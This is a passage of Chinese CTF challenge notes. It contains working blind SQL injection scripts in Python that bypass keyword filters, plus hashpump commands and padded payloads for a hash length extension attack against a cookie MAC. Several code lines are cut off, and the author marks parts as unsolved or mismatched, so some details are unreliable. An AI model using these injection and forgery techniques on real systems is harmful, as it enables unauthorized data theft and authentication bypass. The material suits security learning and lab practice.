     headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1
     try:
         res=requests.get(url,headers=headers,timeout=4)
     except requests.exceptions.ReadTimeout, e:
         flag = flag + str
         print "flag:", flag
         break

print 'result:' + flag
```

result:cdbf1Xc9aded5be5612fKbb5d28678bL 破解非常慢，要有耐心

27、http://shiyanbar.com/ctf/1848（暂时未完全解决）

相信你一定能拿到想要的
Hint:你可能希望知道服务器端发生了什么。。

格式：CTF{}

解题链接： http://ctf5.shiyanbar.com/web/kzhan.php

随意测试完后出现，Admins only，怀疑用户名admins，查看bp，特殊的cookie，有个source=0，将其改为1，后端代码出来，审计代码，

if (!empty($_COOKIE["getmein"])) { getmein的cookie不能为空

if (urldecode($username) === "admin" && urldecode($password) != "admin") {   用户名url解码admin，密码url解码不能是

$secret = "XXXXXXXXXXXXXXX"; /

if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {   用户名密码串联起来url解码，与secret串联在进行md5加密，

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));   表明sample-hash里面存在secret

sample-hash是一个md5值，解码该值后可以获得后台的secret，然后就可以根据这个值构造正确的md5值了，但是md5加密是单项不可逆的，要解密的话一般方法是用暴力破解，暴力肯定是不可能了，毕竟secret有15位，这里要用到的一个知识点就是hash长度扩展攻击，

salt加密

所谓加Salt，就是加点“佐料”。当用户首次提供密码时（通常是注册时），由系统自动往这个密码里加一些“Salt值”，这个值是由系统随机生成的，并且只有系统知道。然后再散列。而当用户登录时，系统为用户提供的代码撒上同样的“Salt值”，然后散列，再比较散列值，已确定密码是否正确。

有没有感觉很熟悉，对了，这里的secert就很像一个未知的salt，对于这种未知salt，但过关MD5/sha1加密，目前有一个很好的办法，就是hash长度拓展攻击。可以用hashpump 来进行计算，不适用于windows

在题目里可以得到：

```
md5($secret."adminadmin")的值为571580b26c65f306376d4f64e53cb5c7
```

稍微整理下我们已经知道的：

```
$secret是密文，长度为15，如果再算上后面第一个admin，长度就是20
而数据是admin
签名（哈希值）是571580b26c65f306376d4f64e53cb5c7
```

这时候我们使用HashPump，附加数据至少1位以上：

```
# hashpump
Input Signature: 571580b26c65f306376d4f64e53cb5c7
Input Data: admin
Input Key Length: 20
Input Data to Add: pcat
```

或者直接

```
hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 20 -a pcat
```

就会得到

```
3e67e8f0c05e1ad68020df30bbc505f5
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00pcat
```

第一个是新的签名，把它设置到cookies的getmein里。

第二个先把\x替换为%后，post提交

```
password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
c8%00%00%00%00%00%00%00pcat
```

或者设置adddata为admin，则如下：

这里，我的username为admin，password为

```
1. admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
```

也不对，还要反urldecode一下，很简单的，16进制urlencode即将\x换成%，所以password为

```
1. adminadmin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00
```

接下来是重头戏，如何获取其的hash值，代码如下：

运行代码可得hash值：e18dfd8404515016d3aeeea2aa196909

鉴于https://blog.csdn.net/wy_97/article/details/76269819本身并未有通过，待议

备注：

http://www.freebuf.com/articles/web/31756.html 科普哈希长度扩展攻击(Hash Length Extension Attacks)

http://blog.csdn.net/qq_18661257/article/details/53767761 MD5加密算法详解(c和c++环境下)

http://blog.csdn.net/syh_486_007/article/details/51228628 hash哈希长度扩展攻击解析（记录一下，保证不忘）

提交内容如下通过（添加内容为123）

```
1. username=admin&password=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
```

getmein= 961 a38ded0b8553041ca20dd34e8e189，但是与预期不相符，

Congratulations! You are a registered user.

The flag is CTF{cOOkieS_4nd_hAshIng_G0_w3LL_t0g3ther}

```
Input Signature: 571580b26c65f306376d4f64e53cb5c7Input Data: adminInput Key Length: 20Input Data to Add: 12396
```

28、http://shiyanbar.com/ctf/2009（未完成）

一直都很认真的

解题链接： http://ctf5.shiyanbar.com/web/earnest/index.php

1显示you are in 1'显示you are not in，说明引号未封，1' and '1'='1被检测，接着就是开始试服务器到底过滤了哪些字符：and，union，空格，，，#，+

着就开始尝试注入语句了：id=1'/**/or/**/'1'='1，结果却返回了“you are not in......”，没见过的操作啊，还是我做的题太少了

赶紧翻看wp，后来才知道原来这边虽然没有过滤or，但后台对于or有别的操作，这种改变是可能绕过的，一般的后台处理逻辑是匹配or、or（不分大小写）、or+空格并替换为空。尝试改变大小写和用oorr代替，发现回显都为You are in，也就是说，后台处理应该是匹配or（小写），并将其替换为空，并且仅仅处理了一次，而且经过测试，*也在后台被改变，因此我们可以拿%0a来代替空格

```
import requests

str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
for i in range(1,30):
    key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
    r = requests.post(url, data=key).text
    print(i)
    if str1 in r:
        print('the length of database is %s'%i)
        break
```

数据长度得出18

```
import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
database = ''
for i in range(1,19):
    for j in guess:
        key = {'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" %(i,j)}
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            database += j
            print(j)
            break
print(database)
```

数据库名称

```
import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
i = 1
while True:
    flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation
    flag = flag.replace(' ', chr(0x0a))
    key = {'id':flag}
    r = requests.post(url, data=key).text
    print(key)
    if str1 in r:
        print('the length of tables is %s'%i)
        break
    i += 1
```

表长度

```
import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
tables = ''
for i in range(1,12):
    for j in guess:
        flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrma
        flag = flag.replace(' ', chr(0x0a))
        key = {'id':flag}
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            tables += j
            print(j)
            break

print(tables)
```

表名

```
import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
i = 1
while True:
    flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmatio
    flag = flag.replace(' ', chr(0x0a))
    key = {'id':flag}
    r = requests.post(url, data=key).text
    print(key)
    if str1 in r:
        print('the length of columns is %s'%i)
        break
    i += 1
```

列长

```
import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
columns = ''
for i in range(1,6):
    for j in guess:
        flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrm
        flag = flag.replace(' ', chr(0x0a))
        key = {'id':flag}
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            columns += j
            print(j)
            break

print(columns)
```

列名

```
import requests

guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
i = 1
while True:
    flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='')oorr'0"%i
    flag = flag.replace(' ', chr(0x0a))
    key = {'id':flag}
    r = requests.post(url, data=key).text
    print(key)
    if str1 in r:
        print('the length of data is %s'%i)
        break
    i += 1
```

数据长度

```
data = ''
for i in range(1,14):
    for j in guess:
        flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(i, j)
        flag = flag.replace(' ', chr(0x0a))
        key = {'id':flag}
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            data += j
            print(j)
            break

print(data)
```

数据 不止13位，需要加位才能拍出来

https://www.cnblogs.com/Ragd0ll/p/8684767.html

https://www.jianshu.com/p/11f409992681